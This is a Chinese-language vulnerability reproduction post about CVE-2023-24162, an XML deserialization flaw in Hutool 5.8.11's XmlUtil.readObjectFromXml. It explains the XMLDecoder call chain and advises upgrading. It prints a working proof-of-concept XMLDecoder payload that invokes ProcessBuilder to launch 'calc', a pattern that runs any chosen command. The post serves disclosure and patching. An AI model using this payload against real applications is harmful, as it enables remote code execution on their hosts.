当前位置:   article > 正文

漏洞复现-hutool XML反序列化漏洞(CVE-2023-24162)

漏洞复现-hutool XML反序列化漏洞(CVE-2023-24162)

1.漏洞描述

Hutool是一个小而全的Java工具类库,通过静态方法封装,降低相关API的学习成本,提高工作效率。

Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

2.影响版本

Hutool v5.8.11

3.漏洞复现

  1. XmlUtil.readObjectFromXml("<java>\n" +
  2. " <object class=\"java.lang.ProcessBuilder\">\n" +
  3. " <array class=\"java.lang.String\" length=\"1\">\n" +
  4. " <void index=\"0\">\n" +
  5. " <string>calc</string>\n" +
  6. " </void>\n" +
  7. " </array>\n" +
  8. " <void method=\"start\"></void>\n" +
  9. " </object>\n" +
  10. "</java>\n");

4.漏洞分析

在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml方法cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

当然这个地方也是可以通过读取文件来实现的

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)java.beans.XMLDecoder#readObject

漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml方法 就可以避免这个漏洞的产生。

5.修复建议

修复方式

官方已发布补丁,升级到最新版本即可

参考链接

https://nvd.nist.gov/vuln/detail/CVE-2023-24162

https://gitee.com/dromara/hutool/issues/I6AEX2

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小惠珠哦/article/detail/990985
推荐阅读
相关标签
  

闽ICP备14008679号